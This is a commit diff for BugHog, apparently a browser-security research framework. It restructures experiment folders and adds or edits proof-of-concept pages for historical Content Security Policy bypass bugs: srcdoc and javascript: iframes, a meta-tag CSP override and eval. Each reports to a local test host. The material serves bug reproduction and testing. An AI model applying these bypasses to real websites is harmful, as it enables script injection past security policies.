Restructure experiment folder (#3)

* Implement updated experiment naming and integration

- Implement new domain names
- More lax report acceptance
- Modify all existing experiment files to match the new format

* Restructure experiment folders.

- url_queue.txt files are now placed directly within the associated page folder

* Add link to documentation on how to add your own experiments

README.md

@@ -95,6 +95,16 @@ To stop BugHog, run the following command:
 docker compose down
 ```
 
-## Adding your own proof of concepts
+### Adding Your Own Experiments
 
-🚧 This section is currently under construction and will soon provide detailed instructions on how to integrate your own proofs of concept into the BugHog framework. 🚧
+Instructions to add your own custom experiments to the server can be found [here](https://github.com/DistriNet/BugHog-web/blob/main/experiments/README.md).
+Be sure to restart the BugHog framework when you add a new experiment:
+
+```bash
+docker compose down
+docker compose up core web
+```
+
+## Additional help
+
+Don't hesitate to open a [GitHub issue](https://github.com/DistriNet/BugHog/issues/new) if you come across a bug, want to suggest a feature, or have any questions!

bci/configuration.py

@@ -12,7 +12,6 @@
 class Global:
 
     custom_page_folder = '/app/experiments/pages'
-    custom_test_folder = '/app/experiments/url_queues'
 
     @staticmethod
     def get_extension_folder(browser: str) -> str:

bci/evaluations/custom/custom_evaluation.py

@@ -24,38 +24,30 @@ def __init__(self):
         self.initialize_tests_and_url_queues()
 
     def initialize_tests_and_url_queues(self):
-        used_test_names = {}
         page_folder_path = Global.custom_page_folder
-        test_folder_path = Global.custom_test_folder
-        if not os.path.isdir(test_folder_path):
-            return
-        project_names = [name for name in os.listdir(test_folder_path) if os.path.isdir(os.path.join(test_folder_path, name))]
+        project_names = [name for name in os.listdir(page_folder_path) if os.path.isdir(os.path.join(page_folder_path, name))]
         for project_name in project_names:
             # Find tests in folder
-            project_path = os.path.join(test_folder_path, project_name)
+            project_path = os.path.join(page_folder_path, project_name)
             self.tests_per_project[project_name] = {}
             for test_name in os.listdir(project_path):
-                if test_name in used_test_names:
-                    raise AttributeError(f"Test name '{test_name}' should be unique over all projects (found in {project_name} and {used_test_names[test_name]})")
-                used_test_names[test_name] = project_name
-                test_path = os.path.join(project_path, test_name)
-                if os.path.isdir(test_path):
-                    with open(os.path.join(test_path, "url_queue.txt")) as file:
+                url_queue_file_path = os.path.join(project_path, test_name, 'url_queue.txt')
+                if os.path.isfile(url_queue_file_path):
+                    # If an URL queue is specified, it is parsed and used
+                    with open(url_queue_file_path) as file:
                         self.tests_per_project[project_name][test_name] = file.readlines()
                         self.tests[test_name] = self.tests_per_project[project_name][test_name]
-            # Find remaining tests by checking the pages hosting tests
-            project_path = os.path.join(page_folder_path, project_name)
-            for test_name in os.listdir(project_path):
-                test_path = os.path.join(project_path, test_name)
-                for domain in os.listdir(test_path):
-                    main_folder_path = os.path.join(project_path, test_path, domain, "main")
-                    if os.path.exists(main_folder_path) and test_name not in used_test_names:
-                        used_test_names[test_name] = project_name
-                        self.tests_per_project[project_name][test_name] = [
-                            f"https://{domain}/custom/{test_name}/main",
-                            "https://adition.com/report/?leak=baseline"
-                        ]
-                        self.tests[test_name] = self.tests_per_project[project_name][test_name]
+                else:
+                    # Otherwise, a default URL queue is used, based on the domain that hosts the main page
+                    test_folder_path = os.path.join(project_path, test_name)
+                    for domain in os.listdir(test_folder_path):
+                        main_folder_path = os.path.join(test_folder_path, domain, 'main')
+                        if os.path.exists(main_folder_path):
+                            self.tests_per_project[project_name][test_name] = [
+                                f'https://{domain}/{project_name}/{test_name}/main',
+                                'https://a.test/report/?leak=baseline'
+                            ]
+                            self.tests[test_name] = self.tests_per_project[project_name][test_name]
 
     def perform_specific_evaluation(self, browser: Browser, params: TestParameters) -> TestResult:
         logger.info(f'Starting test for {params}')

bci/evaluations/outcome_checker.py

@@ -1,3 +1,4 @@
+import re
 from abc import abstractmethod
 
 from bci.evaluations.logic import SequenceConfiguration, TestResult
@@ -18,7 +19,8 @@ def get_outcome_for_proxy(self, result: TestResult) -> bool | None:
         target_cookie = self.sequence_config.target_cookie_name
         if result.requests is None:
             return None
-        requests_to_result_endpoint = list(filter(lambda x: f'https://adition.com/report/?leak={target_mech_id}' in x['url'], result.requests))
+        regex = rf'^https:\/\/[a-zA-Z0-9-]+\.[a-zA-Z]+\/report\/\?leak={target_mech_id}$'
+        requests_to_result_endpoint = [request for request in result.requests if re.match(regex, request['url'])]
         for request in requests_to_result_endpoint:
             headers = request['headers']
             if not target_cookie:

docker-compose.yml

@@ -32,9 +32,9 @@ services:
       - /dev/shm:/dev/shm:rw
     container_name: bh_core
 
-#=============#
-# DEVELOPMENT #
-#=============#
+  #=============#
+  # DEVELOPMENT #
+  #=============#
 
   core_dev:
     extends: base
@@ -53,9 +53,9 @@ services:
       - .:/app:rw
     container_name: bh_core_dev
 
-#============#
-# PRODUCTION #
-#============#
+  #============#
+  # PRODUCTION #
+  #============#
 
   core:
     extends: base
@@ -71,16 +71,16 @@ services:
     hostname: bh_worker
     container_name: bh_worker
 
-#===================#
-# EXPERIMENT SERVER #
-#===================#
+  #===================#
+  # EXPERIMENT SERVER #
+  #===================#
 
   web:
     image: "registry.gitlab.kuleuven.be/distrinet/research/bughog/experiment-server:latest"
-    pull_policy: always
+    pull_policy: if_not_present
     volumes:
-      - ./experiments/pages:/custom_pages:ro
-      - ./experiments/resources:/app/static/custom:ro
+      - ./experiments/pages:/experiments/pages:ro
+      - ./experiments/resources:/app/static/resources:ro
     container_name: bh_web
     ports:
       - "80:80"
@@ -89,22 +89,15 @@ services:
       bh_net:
         aliases:
           - leak.test
-          - leak.to
-          - sub.leak.test
-          - leaking.via
-          - hsts-only.com
-          - sub.hsts-only.com
-          - attack.er
+          - a.test
+          - sub.a.test
+          - sub.sub.a.test
+          - b.test
           - adition.com
-          - sub.adition.com
-          - sub.sub.adition.com
-          - data.test
-          - iframe.test
-          - re.port
 
-#================#
-# NODE FRONT END #
-#================#
+  #================#
+  # NODE FRONT END #
+  #================#
 
   node_base:
     image: node:lts-alpine

experiments/pages/CSP/c1001283/a.test/helper/index.html

@@ -0,0 +1,14 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8" />
+    <title>You can't XSS me</title>
+  </head>
+  <body>
+    <!--  XSS Start -->
+    <iframe
+      srcdoc="<script> location.href = 'https://a.test/report/?leak=c1001283'</script>"
+    ></iframe>
+    <!-- XSS End -->
+  </body>
+</html>

experiments/pages/CSP/c1001283/leak.test/main/index.html

@@ -1,13 +1,13 @@
 <body>
-<script>
-  if(location.ancestorOrigins.length !== 0){
-    location.href = "about:srcdoc";
-  }else{
-    f = document.body.appendChild(document.createElement("iframe"));
-    f.onload = () => {
-      frames[0][0].location.href = location.href;
-    };
-    f.src = 'https://adition.com/custom/c1001283/helper';
-  }
-</script>
-</body>
+  <script>
+    if (location.ancestorOrigins.length !== 0) {
+      location.href = "about:srcdoc";
+    } else {
+      f = document.body.appendChild(document.createElement("iframe"));
+      f.onload = () => {
+        frames[0][0].location.href = location.href;
+      };
+      f.src = "https://a.test/CSP/c1001283/helper";
+    }
+  </script>
+</body>

experiments/pages/CSP/c1001283/url_queue.txt

@@ -0,0 +1,2 @@
+https://leak.test/CSP/c1001283/main
+https://a.test/report/?leak=baseline

experiments/pages/CSP/c1001982-img/adition.com/main/index.html → experiments/pages/CSP/c1001982-img/a.test/main/index.html

@@ -5,5 +5,5 @@
         }, 1000);
     });
 </script>
-<iframe id="iframe" name="iframe_a" srcdoc="<img src='https://adition.com/report/?leak=c1001982-img' /><p>about-srcdoc iframe</p><a id='123' href='https://leak.test/custom/c1001982/helper' target='iframe_a'>click here</a>"
-</iframe>
+<iframe id="iframe" name="iframe_a" srcdoc="<img src='https://a.test/report/?leak=c1001982-img' /><p>about-srcdoc iframe</p><a id='123' href='https://leak.test/CSP/c1001982/helper' target='iframe_a'>click here</a>"
+</iframe>

experiments/pages/CSP/c1001982/adition.com/main/index.html → experiments/pages/CSP/c1001982/a.test/main/index.html

@@ -5,5 +5,5 @@
         }, 1000);
     });
 </script>
-<iframe id="iframe" name="iframe_a" srcdoc="<script>document.location.href='https://adition.com/report/?leak=c1001982'</script><p>about-srcdoc iframe</p><a id='123' href='https://leak.test/custom/c1001982/helper' target='iframe_a'>click here</a>"
-</iframe>
+<iframe id="iframe" name="iframe_a" srcdoc="<script>document.location.href='https://a.test/report/?leak=c1001982'</script><p>about-srcdoc iframe</p><a id='123' href='https://leak.test/CSP/c1001982/helper' target='iframe_a'>click here</a>"
+</iframe>

experiments/pages/CSP/c1064676/leak.test/helper/index.js

@@ -1,26 +1,25 @@
-(function(){
-
-		var payload = `
+(function () {
+  var payload = `
 			top.SUCCESS = true;
 
 			var o = document.createElement("object");
-			o.data = \`https://adition.com/report/?leak=c1064676-object\`;
+			o.data = \`https://a.test/report/?leak=c1064676-object\`;
 			document.body.appendChild(o);
 
 			var i = document.createElement("iframe");
-			i.src = \`https://adition.com/report/?leak=c1064676-iframe\`;
+			i.src = \`https://a.test/report/?leak=c1064676-iframe\`;
 			document.body.appendChild(i);
 
 			var s = document.createElement("script");
-			s.src = \`https://adition.com/report/?leak=c1064676-script\`;
+			s.src = \`https://a.test/report/?leak=c1064676-script\`;
 			document.body.appendChild(s);
 		`;
 
-		document.body.innerHTML+="<iframe id='XXX' src='javascript:" + payload +"'></iframe>";
-		setTimeout(function() {
-				if (!top.SUCCESS) {
-						XXX.contentWindow.eval(payload);
-				}
-		}, 500);
-
-}())
+  document.body.innerHTML +=
+    "<iframe id='XXX' src='javascript:" + payload + "'></iframe>";
+  setTimeout(function () {
+    if (!top.SUCCESS) {
+      XXX.contentWindow.eval(payload);
+    }
+  }, 500);
+})();

experiments/pages/CSP/c1064676/url_queue.txt

@@ -0,0 +1,2 @@
+https://leak.test/CSP/c1064676/main
+https://a.test/report/?leak=baseline

experiments/pages/CSP/c1072719/leak.test/main/index.html

@@ -1,12 +1,13 @@
 <!DOCTYPE html>
 <html>
-<head>
-  <meta http-equiv="content-security-policy" content="img-src 'self'">
-</head>
-<body>
-<script>
-    url = '<meta http-equiv="content-security-policy" content="default-src *"><img src="https://adition.com/report/?leak=c1072719">';
-    window.open("javascript:'"+url+"'","_self");
-</script>
-</body>
-</html>
+  <head>
+    <meta http-equiv="content-security-policy" content="img-src 'self'" />
+  </head>
+  <body>
+    <script>
+      url =
+        '<meta http-equiv="content-security-policy" content="default-src *"><img src="https://a.test/report/?leak=c1072719">';
+      window.open("javascript:'" + url + "'", "_self");
+    </script>
+  </body>
+</html>

experiments/pages/CSP/c1072719/url_queue.txt

@@ -0,0 +1,2 @@
+https://leak.test/CSP/c1072719/main
+https://a.test/report/?leak=baseline

experiments/pages/CSP/c1074317/adition.com/script/index.js → experiments/pages/CSP/c1074317/a.test/script/index.js

@@ -1,18 +1,19 @@
-'use strict';
+"use strict";
 
 var throw_func = function throw_func() {
-  throw TypeError('SomeError');
+  throw TypeError("SomeError");
 };
 
 var draw_image = function draw_image() {
-  var img = document.createElement('img');
-  img.src = 'https://www.gstatic.com/images/branding/googlelogo/2x/googlelogo_dark_color_84x28dp.png';
+  var img = document.createElement("img");
+  img.src =
+    "https://www.gstatic.com/images/branding/googlelogo/2x/googlelogo_dark_color_84x28dp.png";
   document.body.appendChild(img);
 };
 
 setTimeout(function () {
   var error_message = document.getElementsByTagName("p")[0].innerHTML;
   if (error_message.indexOf("secret_info=123") > -1) {
-    document.location.href = "https://adition.com/report/?leak=c1074317";
+    document.location.href = "https://a.test/report/?leak=c1074317";
   }
-}, 1000);
+}, 1000);

experiments/pages/CSP/c1107824/a.test/helper/index.html

@@ -0,0 +1,3 @@
+<script>
+  eval('location.href = "https://a.test/report/?leak=c1107824";');
+</script>

experiments/pages/CSP/c1107824/a.test/main/index.html

@@ -0,0 +1 @@
+<iframe src="https://a.test/CSP/c1107824/helper"></iframe>

experiments/pages/CSP/c1107824/url_queue.txt

@@ -0,0 +1,2 @@
+https://a.test/CSP/c1107824
+https://a.test/report/?leak=baseline

experiments/pages/CSP/c1109167/a.test/main/index.html

@@ -0,0 +1,11 @@
+<iframe id="123" src="about:blank"></iframe>
+<script nonce="1337">
+  var iframe = document.getElementById("123");
+  iframe.onload = function () {
+    if (iframe.contentDocument.URL === "about:blank") {
+      iframe.contentDocument.body.innerHTML =
+        "<iframe/onload='document.location.href=\"https://a.test/report/?leak=c1109167\"'>";
+    }
+  };
+  iframe.contentWindow.location.reload();
+</script>

experiments/pages/CSP/c1109167/url_queue.txt

@@ -0,0 +1,2 @@
+https://a.test/CSP/c1109167/main
+https://a.test/report/?leak=baseline